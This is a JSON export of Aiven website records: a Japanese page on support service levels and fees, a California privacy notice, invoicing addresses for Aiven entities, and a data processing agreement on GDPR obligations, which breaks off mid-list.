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{"__i18n_lang":"ja","_createdAt":"2022-06-06T03:04:37Z","_id":"17d882dc-fcff-4bab-b539-c811e713bfa7__i18n_ja","_rev":"yn3ffGOj7FCOSHAOSj7Kvw","_type":"term","_updatedAt":"2023-06-26T07:09:56Z","content":[{"_key":"75de354f9104","_type":"block","children":[{"_key":"21e86156a5c50","_type":"span","marks":[],"text":"Aivenサポート"}],"markDefs":[],"style":"h2"},{"_key":"e5d9538071c0","_type":"block","children":[{"_key":"b68841a419b90","_type":"span","marks":[],"text":"Aivenは24時間365日体制でクラウドサービスを監視し、サービスの異常は自動的にアラートとしてAivenの担当者に通知されます。Aivenの担当者はシステム運用上の必要に応じて遅滞なく作業を開始します。"}],"markDefs":[],"style":"normal"},{"_key":"60809dde4a83","_type":"block","children":[{"_key":"fcb32ba772fb0","_type":"span","marks":[],"text":"Aivenは、通常のサブスクリプション（すべての有料サービスプランを含む）に対して、追加料金なしで、Aivenクラウドサービスの使用およびアクセスに関連する問題について、当日または翌営業日にベストエフォートにて、メールで回答をお送りするベーシックレベルのサポートを提供しています。たは翌営業日にベストエフォートにて回答をお送りします。"}],"markDefs":[],"style":"normal"},{"_key":"fb93b481a903","_type":"block","children":[{"_key":"a71e794fee88","_type":"span","marks":[],"text":"このサポートサービスの説明は、オンライン契約を利用するお客様にのみ適用されます。"}],"markDefs":[],"style":"normal"},{"_key":"4349e03d0d2a","_type":"block","children":[{"_key":"4f4d990fccda0","_type":"span","marks":[],"text":"サポートレベル"}],"markDefs":[],"style":"h2"},{"_key":"fdc24077b273","_type":"block","children":[{"_key":"2b37d32904b90","_type":"span","marks":[],"text":"Aivenは、上記のベーシックレベル（無料）に加えて、プライオリティ、ビジネス、エンタープライズという3つのレベルを追加で提供しています。電話サポート、12時間サポート、テクニカルアカウントマネージメントなど、コミットメントレベルに応じて様々なレベルのサポートが用意されています。サポートレベルとその特徴は下表のとおりです。Aivenの無料プランを通じてAivenのサービスを利用しているお客様は、どのサポートレベルにおいてもサポートを受けることはできませんが、プロバイダのコミュニティフォーラムでのガイダンスを活用されることをお勧めします。"}],"markDefs":[],"style":"normal"},{"_key":"86f9d78f6e68","_type":"block","children":[{"_key":"c715598e05ca0","_type":"span","marks":[],"text":"具体的なサポート内容については、"},{"_key":"2ae81dfda539","_type":"span","marks":["dc4c4bb6a58a"],"text":"レスポンシビリティページ"},{"_key":"7575f759b80c","_type":"span","marks":[],"text":"をご覧ください。"}],"markDefs":[{"_key":"dc4c4bb6a58a","_type":"internalLink","internalLink":{"_ref":"97422fba-5006-46b6-9389-f8d782b04bd5","_type":"reference"}}],"style":"normal"},{"_key":"d6bfe053773f","_type":"block","children":[{"_key":"a8ac7b89cda40","_type":"span","marks":[],"text":"サポートレベルの説明"}],"markDefs":[],"style":"h3"},{"_key":"2489a6d158e6","_type":"table","rows":[{"_key":"791d74ba-89a0-450e-ab4a-d58479c1ecf9","_type":"tableRow","cells":["","ベーシック","プライオリティ","ビジネス","エンタープライズ"]},{"_key":"2fbe2fff-5f47-428b-8c54-1bd5568b14bc","_type":"tableRow","cells":["12時間メールサポート","当日または翌営業日","あり","あり","あり"]},{"_key":"132b98bc-bfe4-4e9e-8264-855925eb1f72","_type":"tableRow","cells":["チケット管理システム","あり","あり","あり","あり"]},{"_key":"bfa7e8ec-1b3d-48fd-b03b-18e0eba8dcee","_type":"tableRow","cells":["電話サポート","なし","なし","あり（「クリティカル」ケースは営業日24時間対応）","あり（「クリティカル」ケースは24時間365日対応）"]},{"_key":"630617c6-bb4e-4efe-aadb-efaa0e73665e","_type":"tableRow","cells":["サポート可用性","営業日","営業日","営業日は24時間対応","あり（「クリティカル」ケースは24時間365日対応、「高」ケースは営業日24時間対応）*"]}]},{"_key":"2361350371d2","_type":"block","children":[{"_key":"e296f901fc060","_type":"span","marks":["em"],"text":"*Aivenは、週末に受け取った「高」のケースを遅延なく診断します。診断後、重要なビジネスへの影響があると判断されたケースを、Aivenは緊急で対応すべき「クリティカル」なケースにアップグレードする場合があります。"}],"markDefs":[],"style":"normal"},{"_key":"8cecf9016ed8","_type":"block","children":[{"_key":"a6a17109bea5","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"03fb65d34b20","_type":"block","children":[{"_key":"5e7ec85b3af5","_type":"span","marks":[],"text":"Response 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最短低営業日","12時間","15分","15分"]}]},{"_key":"2b5b4775f375","_type":"block","children":[{"_key":"0860edc2d316","_type":"span","marks":["em"],"text":"注：対応時間は、お客様からのサポート依頼に対してAivenのサポート担当者が問題解決に向けて着手するまでの時間を示したものです。問題の複雑さや根本原因は様々であるため、問題が解決されるまでの時間について保証するものではありません。"}],"markDefs":[],"style":"normal"},{"_key":"b5478faa97f2","_type":"block","children":[{"_key":"4aa2a48ac7e10","_type":"span","marks":[],"text":"ケースの重要度の説明"}],"markDefs":[],"style":"h2"},{"_key":"a6ea96c5c6ab","_type":"table","rows":[{"_key":"969f04c4-31d3-4d2e-a10c-9d6b862a5801","_type":"tableRow","cells":[" ケースの重要度"," 説明と例"," サポートチャネル"]},{"_key":"49bf99d2-fd41-4624-bc31-6a29cdb607e4","_type":"tableRow","cells":[" 低：クラウドサービスの主要機能は使用できるが、一部の機能は使用できない。","クラウドサービスの一部の機能が正常に動作しない。クラウドサービスメトリクス、ログ、特定のREST APIリクエストの問題など、クラウドサービス管理に関する軽微な問題が発生した。"," Aiven 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x 5,000ドル = 225ドル。500ドル未満になるため、サポート料金は月500ドルになります。"}],"markDefs":[],"style":"normal"},{"_key":"ea01ccffdbe4","_type":"block","children":[{"_key":"efb1a00cb22b0","_type":"span","marks":["em"],"text":"例2：プライオリティサポートの場合、クラウドサービス利用料金は合計12,000ドル。4.5% x 12,000ドル = 540ドル。500ドルを超えているため、サポート料金は540ドルになります。"}],"markDefs":[],"style":"normal"}],"publishedAt":"2022-02-08T02:58:00.000Z","seo":{"_type":"metaData","metaDescription":"Aivenの担当者が、24時間365日クラウドサービスを監視しています。異常があれば自動でアラートが発信され、必要な時、すぐにサポートスタッフが介入します。","metaImage":{"_type":"mainImage","alt":"support services meta preview","asset":{"_ref":"image-25d75ec64ecec16985cb970efdd7a1652c0ff95f-476x250-jpg","_type":"reference"}},"metaTitle":"サポートサービス内容 | Aiven"},"slug":{"_type":"slug","current":"/support-services"},"title":"Aivenサポートサービス内容"}
{"__i18n_lang":"en","_createdAt":"2023-07-12T06:35:40Z","_id":"67241aaf-6872-4046-ba51-ca6a18c3d9aa","_rev":"liXun5Qglq4dGLky9kNHT0","_type":"term","_updatedAt":"2023-07-24T13:47:33Z","content":[{"_key":"8d1802aa62f7","_type":"block","children":[{"_key":"56837926d4890","_type":"span","marks":[],"text":"This Privacy Notice for California Residents (referred to as \"Privacy Notice\") informs why and how Aiven collects, uses, shares and protects personal information of California residents in compliance with the California Consumer Privacy Act (CCPA) and the California Privacy Rights Act (CPRA)."}],"markDefs":[],"style":"normal"},{"_key":"a0ff062ca98c","_type":"block","children":[{"_key":"1f84e74236ac0","_type":"span","marks":[],"text":"What rights do you have as a California resident?"}],"markDefs":[],"style":"h2"},{"_key":"703ec3931dc5","_type":"block","children":[{"_key":"78a2c1b583530","_type":"span","marks":[],"text":"Under the CCPA and CPRA, you have the following rights regarding your personal information:"}],"markDefs":[],"style":"normal"},{"_key":"61cb3ec2c82a","_type":"block","children":[{"_key":"285980c828390","_type":"span","marks":["strong"],"text":"Right to Know"},{"_key":"285980c828391","_type":"span","marks":[],"text":": You have the right to request information about the categories and specific pieces of personal information we have collected, used, and shared about you in the past 12 months."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0e6003976099","_type":"block","children":[{"_key":"7b932ae292180","_type":"span","marks":["strong"],"text":"Right to Delete"},{"_key":"7b932ae292181","_type":"span","marks":[],"text":": You have the right to request the deletion of your personal information, subject to certain exceptions."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d5a90018a6a0","_type":"block","children":[{"_key":"6d0ac29773190","_type":"span","marks":["strong"],"text":"Right to Opt-Out"},{"_key":"6d0ac29773191","_type":"span","marks":[],"text":": You have the right to opt-out of the sale of your personal information."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"94e04411c231","_type":"block","children":[{"_key":"af8668e2a5ed0","_type":"span","marks":["strong"],"text":"Right to Non-Discrimination"},{"_key":"af8668e2a5ed1","_type":"span","marks":[],"text":": Aiven will not discriminate against you for exercising your privacy rights."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"fc8bf1bf3e13","_type":"block","children":[{"_key":"24b20f69809d0","_type":"span","marks":["strong"],"text":"Right to Correct"},{"_key":"24b20f69809d1","_type":"span","marks":[],"text":": You have the right to correct inaccurate personal information."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"af344ed186dc","_type":"block","children":[{"_key":"c7ca7bbf28900","_type":"span","marks":["strong"],"text":"Right to Limit"},{"_key":"c7ca7bbf28901","_type":"span","marks":[],"text":": You have the right to limit the use and disclosure of sensitive personal information."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ba72dcbc6d84","_type":"block","children":[{"_key":"e1bfd999e04a0","_type":"span","marks":[],"text":"How to exercise your rights?"}],"markDefs":[],"style":"h2"},{"_key":"09124708f74b","_type":"block","children":[{"_key":"bea568e47a6d0","_type":"span","marks":[],"text":"To exercise your rights or to ask any questions about this Privacy Notice, please contact us using the information provided below."}],"markDefs":[],"style":"normal"},{"_key":"412fe9f285ca","_type":"block","children":[{"_key":"2fea8f881fa60","_type":"span","marks":[],"text":"California residents have the right to opt out of selling their personal information. This right can be exercised by sending an "},{"_key":"4dfdf9699bd9","_type":"span","marks":["6796f24052c2"],"text":"opt out request through the “Do not sell or share my information”"},{"_key":"9a22eeb4c0ec","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"6796f24052c2","_type":"link","href":"https://aiven.io/privacy/california?m=opt-out"}],"style":"normal"},{"_key":"27a87a1cd192","_type":"block","children":[{"_key":"a8607b38d83b0","_type":"span","marks":[],"text":"The definition of ‘selling’ in California Consumer Privacy Act (CCPA) is broad and includes sharing of information in exchange for anything of value - even when no actual money is related to the matter."}],"markDefs":[],"style":"normal"},{"_key":"06ef3c770725","_type":"block","children":[{"_key":"9b1475d7600e0","_type":"span","marks":[],"text":"In other words, Aiven never sells your personal data but Aiven may share it as described in section “What personal data do we disclose?”. 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{"__i18n_lang":"en","_createdAt":"2022-09-02T14:21:17Z","_id":"3b5806cc-b4b0-494c-b509-3c3e45527296","_rev":"YgPujUcKQ2JSpcKSYZWo2N","_type":"term","_updatedAt":"2023-11-09T08:34:56Z","content":[{"_key":"d2b6b7d08003","_type":"block","children":[{"_key":"e0c947fda28e0","_type":"span","marks":[],"text":"When an Aiven entity needs to be invoiced, please find below the invoicing addresses for each entity and send the invoice to "},{"_key":"76b650836b65","_type":"span","marks":["1178e3c59b9d"],"text":"accountspayable@aiven.io"},{"_key":"a8a45f2828be","_type":"span","marks":[],"text":" for further instructions."}],"markDefs":[{"_key":"1178e3c59b9d","_type":"link","href":"mailto:accountspayable@aiven.io"}],"style":"normal"},{"_key":"0c7d5ef9131b","_type":"block","children":[{"_key":"4357fe89265c","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"08c37153a473","_type":"block","children":[{"_key":"82698cc7bf96","_type":"span","marks":[],"text":"Australia - Aiven Australia Pty Ltd"}],"markDefs":[],"style":"h2"},{"_key":"6793a552de7f","_type":"block","children":[{"_key":"d20267b2ee40","_type":"span","marks":[],"text":"Bill to address stated on invoice:\nLevel 3\n40 King Street\nSydney NSW 2000\nAustralia"}],"markDefs":[],"style":"normal"},{"_key":"afb984afe2f1","_type":"block","children":[{"_key":"ed62ae76ed8a","_type":"span","marks":[],"text":"Canada - Aiven Canada Ltd"}],"markDefs":[],"style":"h2"},{"_key":"b512afe23e01","_type":"block","children":[{"_key":"008ab040b43b","_type":"span","marks":[],"text":"Bill to address stated on invoice:\n1055 W Georgia St Suite 1750 Royal Centre, Vancouver, BC V6E 3P3, Canada"}],"markDefs":[],"style":"normal"},{"_key":"d356146da237","_type":"block","children":[{"_key":"06b5a147d681","_type":"span","marks":[],"text":"Finland - Aiven Oy"}],"markDefs":[],"style":"h2"},{"_key":"4da7cd5d9959","_type":"block","children":[{"_key":"9b4dab89dcf8","_type":"span","marks":[],"text":"Bill to address stated on invoice: \nAiven Oy, Antinkatu 1, Helsinki 00100, Finland"}],"markDefs":[],"style":"normal"},{"_key":"30b45bd80cb2","_type":"block","children":[{"_key":"acba13076420","_type":"span","marks":[],"text":"VAT number: FI27957435"}],"markDefs":[],"style":"normal"},{"_key":"08360204b8f8","_type":"block","children":[{"_key":"751c7420eba5","_type":"span","marks":[],"text":"France - Aiven France SAS"}],"markDefs":[],"style":"h2"},{"_key":"3b99c4354934","_type":"block","children":[{"_key":"a4dfa048d3f6","_type":"span","marks":[],"text":"Bill to address stated on invoice:\nAiven France SAS, c/o CM. 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Background"}],"markDefs":[],"style":"h2"},{"_key":"fa960beadce6","_type":"block","children":[{"_key":"706b8c9a79bd0","_type":"span","marks":[],"text":"This Data Processing Agreement (‘’DPA’’) is attached to the General Terms (available at "},{"_key":"a5fcee7a0d63","_type":"span","marks":["5946f587bceb"],"text":"Aiven General Online Terms and Conditions"},{"_key":"7dfa3b88a40d","_type":"span","marks":[],"text":" or "},{"_key":"de334db53a92","_type":"span","marks":["d52960a920b6"],"text":"Aiven Marketplace Terms and Conditions"},{"_key":"5af8cd9c655d","_type":"span","marks":[],"text":" if Customer purchases through a marketplace) and forms an inseparable part of the Agreement entered into by Aiven and the Customer. This DPA shall set out the terms and conditions for the processing of Personal Data by Aiven on behalf of the Customer under the Agreement."}],"markDefs":[{"_key":"d52960a920b6","_type":"internalLink","internalLink":{"_ref":"7e005085-e7e8-4f33-9be2-6e693acba1a2","_type":"reference"}},{"_key":"5946f587bceb","_type":"internalLink","internalLink":{"_ref":"174ba708-1e30-481f-ab87-32c8d8fac151","_type":"reference"}}],"style":"normal"},{"_key":"e88cef32ce89","_type":"block","children":[{"_key":"99c4f6cbd06b0","_type":"span","marks":[],"text":"2. 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Definitions"}],"markDefs":[],"style":"h2"},{"_key":"471feee0b189","_type":"block","children":[{"_key":"c8c88a4de5e50","_type":"span","marks":[],"text":"Unless otherwise defined in this DPA or in the Agreement, terms used in this DPA, such as \"Data Controller\", \"Data Processor\", \"Data Subject\" and \"Personal Data\" have the meanings as defined in the Data Protection Regulation. "}],"markDefs":[],"style":"normal"},{"_key":"cb5eab7b19c7","_type":"table","rows":[{"_key":"b7e84865-15f4-42a8-a199-6ca254fcf4b9","_type":"tableRow","cells":["Term","Definition"]},{"_key":"ca013475-0ffd-47e5-a7e2-a4be9263f5f9","_type":"tableRow","cells":["Data Protection Regulation","means all applicable laws relating to data protection, including without limitation the GDPR and the laws implementing EU Directive 2002/58/EC and any amendments to or replacements for such laws and regulations. "]},{"_key":"bd983cda-8061-41b1-875e-3a441b2618ae","_type":"tableRow","cells":["GDPR","means the General Data Protection Regulation (EU) 2016/679. "]},{"_key":"49cb5fdf-0ecf-4391-9899-ebc04cd39bcb","_type":"tableRow","cells":["Personal Data Breach","means a breach of security leading to accidental or unlawful destruction, loss, alteration, unauthorized disclosure of, or access to, Personal Data transmitted, stored or otherwise processed."]},{"_key":"9ff9b2ac-ab64-4c61-aaf7-ff4b6e7b2e62","_type":"tableRow","cells":["Standard Contractual Clauses","means the contractual clauses issued by the European Commission by the decision 2021/914/EU for international transfers of Personal Data."]},{"_key":"a271b1d8-19b6-4c6b-b4aa-dfc8c1e717b2","_type":"tableRow","cells":["Subprocessor","means Aiven Affiliates and third parties; i) providing the back-end services for Aiven and/or ii) selected by the Customer to provide the hosting services for the data Customer inputs to the Cloud Services (e.g. Google, Microsoft, AWS).  The Subprocessors and their services are listed on the Website."]},{"_key":"8a31277b-5fec-4780-91e8-3b6b584fea9b","_type":"tableRow","cells":["Web Site","means Aiven's web site available at aiven.io and the Aiven console available at console.aiven.io through which the Customer may use the Cloud Services."]}]},{"_key":"989fc341d646","_type":"block","children":[{"_key":"5a2c3db3909d0","_type":"span","marks":[],"text":"4. Processing of personal data"}],"markDefs":[],"style":"h2"},{"_key":"634a4d5fd729","_type":"block","children":[{"_key":"786fbc405b8d0","_type":"span","marks":[],"text":"Processing of Personal Data under this DPA is for the purpose of providing the Cloud Services to the Customer. Processing of Personal Data in this context refers to storage, maintenance and other processing activities initiated by the Customer, depending on which Cloud Services the Customer has chosen to order from time to time. The categories of Data Subjects and the types of Personal Data processed are defined in the Appendix 1 (Details of processing). "}],"markDefs":[],"style":"normal"},{"_key":"3f913d9ee8d4","_type":"block","children":[{"_key":"9ac9f8a91298","_type":"span","marks":[],"text":"Personal Data may be processed as long as the Cloud Services are provided under the Agreement and after that if required by applicable law or contractual obligations or rights of either Party."}],"markDefs":[],"style":"normal"},{"_key":"9750147c3ffc","_type":"block","children":[{"_key":"65c6be2845b50","_type":"span","marks":[],"text":"5. Customer's instructions"}],"markDefs":[],"style":"h2"},{"_key":"690d60d3936b","_type":"block","children":[{"_key":"dc3bf2c764040","_type":"span","marks":[],"text":"The Aiven shall process Personal Data in accordance with the Customer's written instructions as established in this DPA. The Parties agree that this DPA is the Customer's complete written instruction to the Aiven in the Customer's role as the Data Controller. Additional instructions require prior written agreement between the Parties."}],"markDefs":[],"style":"normal"},{"_key":"24b0af92a5f2","_type":"block","children":[{"_key":"792059b566fd0","_type":"span","marks":[],"text":"6. Aiven’s general obligations"}],"markDefs":[],"style":"h2"},{"_key":"f92afae9aae1","_type":"block","children":[{"_key":"11a581e12db20","_type":"span","marks":[],"text":"Aiven shall, at the Customer's written request and the Customer's sole cost and expense, assist the Customer by providing such readily available information, or creating such information, as the Customer may reasonably require and which the Customer does not have, in complying with the requests of the Data Subjects or supervisory authority or any other law enforcement or regulatory authority."}],"markDefs":[],"style":"normal"},{"_key":"fa9fc93069ce","_type":"block","children":[{"_key":"41e7046ee0da","_type":"span","marks":[],"text":"Aiven shall inform the Customer, as soon as reasonably practicable, if it receives a request from a Data Subject seeking to exercise his or her rights under the Data Protection Regulation."}],"markDefs":[],"style":"normal"},{"_key":"573e738048b1","_type":"block","children":[{"_key":"ecfd9ef1e5e6","_type":"span","marks":[],"text":"Aiven shall maintain records of processing activities under its responsibility to ensure Aiven's own compliance as a Data Processor with the Data Protection Regulation, and upon the Customer's written request Aiven shall make available to the Customer such records to the extent necessary to demonstrate compliance with Aiven’s obligations set out in this DPA and in the Data Protection Regulation."}],"markDefs":[],"style":"normal"},{"_key":"ab458fa94710","_type":"block","children":[{"_key":"f91b13ca6df60","_type":"span","marks":[],"text":"7. Data security"}],"markDefs":[],"style":"h2"},{"_key":"dff91ca7dd9e","_type":"block","children":[{"_key":"efa643948a080","_type":"span","marks":[],"text":"Aiven shall implement and maintain appropriate technical and organizational measures to ensure an appropriate level of security of the Personal Data and to protect the Personal Data against unauthorized or unlawful processing and against accidental loss, destruction, damage, alteration, or disclosure for the purposes of the Cloud Services. Aiven has committed to comply with the ISO27001 certification to ensure appropriate level of security of the Personal Data."}],"markDefs":[],"style":"normal"},{"_key":"725127501287","_type":"block","children":[{"_key":"0951cb98e368","_type":"span","marks":[],"text":"In the event of a Personal Data Breach, Aiven shall notify the Customer without undue delay after becoming aware of the Personal Data Breach and take reasonable steps to mitigate any damage resulting from such breach. The notification shall contain information Aiven is reasonably able to disclose to the Customer, including following information:"}],"markDefs":[],"style":"normal"},{"_key":"431b9ae92263","_type":"block","children":[{"_key":"68edf12fb3760","_type":"span","marks":[],"text":"a description of the nature of the Personal Data breach, including where possible the categories of Data Subjects and the Personal Data concerned;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"750fa9954adb","_type":"block","children":[{"_key":"5c762146a6cb0","_type":"span","marks":[],"text":"the name and contact details of contact point where more information can be obtained;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"781048340c4f","_type":"block","children":[{"_key":"6af84b7eac7d0","_type":"span","marks":[],"text":"a description of likely consequences of the Personal Data Breach; and"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"df990bb1e913","_type":"block","children":[{"_key":"8b52e240287b0","_type":"span","marks":[],"text":"a description of the measures taken or proposed to be taken to address the Personal Data Breach."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"932db091f5be","_type":"block","children":[{"_key":"bce7b9d2a8c20","_type":"span","marks":[],"text":"The information may be provided in phases if it is not possible to provide the information at the same time."}],"markDefs":[],"style":"normal"},{"_key":"3758c47e08b8","_type":"block","children":[{"_key":"4d1e80e1e8b1","_type":"span","marks":[],"text":"Aiven shall cooperate with and assist the Customer, at the Customer's written request and the Customer's sole cost and expense, in relation to the Personal Data Breach notifications made to supervisory authority as required under the Data Protection Regulation. Aiven shall document the Personal Data Breaches and have the documentation available to the Customer upon the Customer's written request."}],"markDefs":[],"style":"normal"},{"_key":"65292bad6af4","_type":"block","children":[{"_key":"34c2bcec722a0","_type":"span","marks":[],"text":"8. Subprocessors"}],"markDefs":[],"style":"h2"},{"_key":"0789f1ca09e3","_type":"block","children":[{"_key":"f5b6eed2010a0","_type":"span","marks":[],"text":"Aiven is entitled to use Subprocessors for the purposes of providing the Cloud Services under the Agreement. Aiven provides information on its Subprocessors at its Web Site. The Customer can choose a Subprocessor to provide the hosting for the Cloud Services from the options provided by Aiven. Aiven shall inform the Customer in writing of any intended changes of the hosting service provider Subprocessor at least fourteen (14) days in advance, giving the Customer sufficient time to be able to object to such change. The Customer hereby consents to Aiven's use of Subprocessors as described in this section."}],"markDefs":[],"style":"normal"},{"_key":"b369ee2dfec3","_type":"block","children":[{"_key":"c9986fa2648f","_type":"span","marks":[],"text":"Aiven shall use its commercially reasonable efforts to ensure that its Subprocessors are subject to similar data protection obligations, in particular in terms of providing sufficient guarantees to implement appropriate technical and organizational measures in such a manner that the processing will meet the requirements of the Data Protection Regulation, as set out in this DPA. Aiven remains responsible for its Subprocessors and their compliance with the obligations of this DPA."}],"markDefs":[],"style":"normal"},{"_key":"12ab0c634ddd","_type":"block","children":[{"_key":"b8d3799c6dfb0","_type":"span","marks":[],"text":"9. Transfers of personal data"}],"markDefs":[],"style":"h2"},{"_key":"97788b0c8880","_type":"block","children":[{"_key":"eb7d9aac7d1d0","_type":"span","marks":[],"text":"The Customer may choose where the Cloud Services will be hosted. If the Customer has selected a Subprocessor to provide the hosting within the European Economic Area (‘’EEA’’), Aiven shall store the Personal Data within the EEA and transfers outside the EEA are subject to the Customer's prior approval, instruction or request thereto. "}],"markDefs":[],"style":"normal"},{"_key":"337e46ada34b","_type":"block","children":[{"_key":"8f5419af43a6","_type":"span","marks":[],"text":"If the Customer selects a Subprocessor to provide the hosting services outside the EEA, the Customer accepts that Aiven; (i) performs the international data transfer of Personal Data in accordance with the Standard Contractual Clauses (processor-to-processor module) entered into by Aiven (as a data exporter) and the Subprocessor (as a data importer) or; (ii) agrees the Subprocessor to carry out the transfer in accordance with the Standard Contractual Clauses (processor-to-processor module) entered into by the Subprocessor group companies (Subprocessor’s EEA entity as a data exporter and third country entity as a data importer), as applicable, depending on the Subprocessor the Customer chooses. "}],"markDefs":[],"style":"normal"},{"_key":"722bbaf63f92","_type":"block","children":[{"_key":"938e7365ed06","_type":"span","marks":[],"text":"The Customer warrants to have used reasonable efforts to determine that the Subprocessor acting as data importer, and chosen by Customer, is able through the implementation of appropriate technical and organizational measures, to satisfy data importer’s obligations under the Standard Contractual Clauses for the transfer to be performed as agreed in this DPA. In the event of discrepancies between the Standard Contractual Clauses and this DPA, the Standard Contractual Clauses prevail. "}],"markDefs":[],"style":"normal"},{"_key":"e45e2c01999c","_type":"block","children":[{"_key":"e075d717af210","_type":"span","marks":[],"text":"All transfers of Personal Data of citizens of the United Kingdom (“UK Transfers”) are transferred under the Standard Contractual Clauses as described under this section. In addition, UK Transfers are governed under the IDTA as implemented to the Standard Contractual Clauses by the chosen Subprocessor. For the purposes of this DPA, the “IDTA” means International data transfer addendum to the European Commission’s standard contractual clauses for international data transfers issued by the UK Information Commissioner’s Office under S119A(1) of the UK Data Protection Act 2018."}],"markDefs":[],"style":"normal"},{"_key":"c92dcdf4fdf8","_type":"block","children":[{"_key":"5be514df67f0","_type":"span","marks":[],"text":"Notwithstanding the foregoing, the Standard Contractual Clauses will not apply if Aiven has adopted alternative safeguards in accordance with Data Protection Regulation for the lawful transfer of Personal Data outside the EEA."}],"markDefs":[],"style":"normal"},{"_key":"e38fa7591ea5","_type":"block","children":[{"_key":"fecd298755720","_type":"span","marks":[],"text":"10. Auditing"}],"markDefs":[],"style":"h2"},{"_key":"e97eb2b4ff86","_type":"block","children":[{"_key":"ac9427ad44150","_type":"span","marks":[],"text":"At the Customer's written request and the Customer's sole cost and expense, the Customer is entitled, once every twelve (12) months, to audit Aiven's compliance with its obligations under the Data Protection Regulation and this DPA."}],"markDefs":[],"style":"normal"},{"_key":"7d34e75de516","_type":"block","children":[{"_key":"366476cee47f","_type":"span","marks":[],"text":"The audit report and related information shall at all times be deemed as Aiven's confidential information."}],"markDefs":[],"style":"normal"},{"_key":"5ee35753c1e0","_type":"block","children":[{"_key":"dfbfd35c82fe0","_type":"span","marks":[],"text":"11. Data confidentiality"}],"markDefs":[],"style":"h2"},{"_key":"014d24cca915","_type":"block","children":[{"_key":"712c6c222fa00","_type":"span","marks":[],"text":"Aiven will not access or use, have visibility or disclose to any third party, any data that the Customer has input into the Cloud Services, except, if specifically requested in writing by the Customer in order to provide customer-specific support services as requested and instructed by the Customer, or as specifically permitted under Section 7.2 of the General Terms."}],"markDefs":[],"style":"normal"},{"_key":"a46c2e18be04","_type":"block","children":[{"_key":"77e3acf33615","_type":"span","marks":[],"text":"If a governmental body sends Aiven a demand for the data input into the Cloud Services, Aiven will do its best efforts to redirect the governmental body to request that data directly from the Customer. If compelled to disclose Customer Data to a governmental body, then Aiven will only disclose the Personal Data strictly to the extent it is legally required to do so and shall give the Customer reasonable notice of the demand to allow the Customer to seek a protective order or other appropriate remedy unless Aiven is legally prohibited from doing so."}],"markDefs":[],"style":"normal"},{"_key":"4341b586f585","_type":"block","children":[{"_key":"aae5947e92590","_type":"span","marks":[],"text":"12. Term and termination"}],"markDefs":[],"style":"h2"},{"_key":"b4d78b239d47","_type":"block","children":[{"_key":"570436a694a70","_type":"span","marks":[],"text":"This DPA shall become effective in parallel with the Agreement and shall continue in force until the termination of the Agreement or as long as Aiven processes Personal Data on behalf of the Customer."}],"markDefs":[],"style":"normal"},{"_key":"794ca5bea874","_type":"block","children":[{"_key":"6376f41bdfe6","_type":"span","marks":[],"text":"If not instructed otherwise in writing by the Customer and unless legally required to keep the Personal Data, Aiven shall delete and destroy the Personal Data processed hereunder the latest within ninety (90) days' of the termination of the Agreement or after the maximum data retention period permitted by the technology of the relevant Cloud Service. In case the Customer demands that the Personal Data are returned to the Customer or to a third party, the Customer will pay Aiven for any additional costs and expenses arising out of such return of the Personal Data."}],"markDefs":[],"style":"normal"},{"_key":"730068adf4d3","_type":"block","children":[{"_key":"570436a694a71","_type":"span","marks":[],"text":"Appendix 1 - Details of processing"}],"markDefs":[],"style":"h3"},{"_key":"d0a4cdc06348","_type":"block","children":[{"_key":"d395465937f6","_type":"span","marks":[],"text":"This Appendix 1 forms part of this DPA describing the details of personal data to be processed by Aiven. "}],"markDefs":[],"style":"normal"},{"_key":"d7cb0065bcd6","_type":"block","children":[{"_key":"6bee5933966f","_type":"span","marks":[],"text":"The Customer has full control of what personal data will be processed by uploading such personal data into the Cloud Services. Aiven has no visibility to such personal data provided and uploaded by the Customer."}],"markDefs":[],"style":"normal"},{"_key":"ef14e5dbc67c","_type":"block","children":[{"_key":"570436a694a73","_type":"span","marks":[],"text":"Data subjects"}],"markDefs":[],"style":"h4"},{"_key":"ddaed11deae0","_type":"block","children":[{"_key":"bfb5b65b32160","_type":"span","marks":[],"text":"Prospects, customers, business partners, and vendors of the Customer(who are natural persons)"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"baec33c55e98","_type":"block","children":[{"_key":"9c47b761bb4a0","_type":"span","marks":[],"text":"Employees or contact persons of the Customer’s prospects, customers, business partners and vendors"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f55c4c91e4f8","_type":"block","children":[{"_key":"3441902fb09b0","_type":"span","marks":[],"text":"Employees, agents, advisors, and freelancers of the Customer (who are natural persons)"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b21b55f3c0a9","_type":"block","children":[{"_key":"ba8e21519e890","_type":"span","marks":[],"text":"Individuals authorized by the Customer under the Agreement"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"acb971dce4be","_type":"block","children":[{"_key":"1f2fc76f972b0","_type":"span","marks":[],"text":"Categories of personal data"}],"markDefs":[],"style":"h4"},{"_key":"5d54d4352e7f","_type":"block","children":[{"_key":"91ea332b79190","_type":"span","marks":[],"text":"Full name"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"14d5080c5564","_type":"block","children":[{"_key":"ddb3efacb18c0","_type":"span","marks":[],"text":"Title, position"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"3403678bd2f4","_type":"block","children":[{"_key":"691c0996804b0","_type":"span","marks":[],"text":"Email address, address"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e6033b0fe20e","_type":"block","children":[{"_key":"821cc6d7700b0","_type":"span","marks":[],"text":"Phone 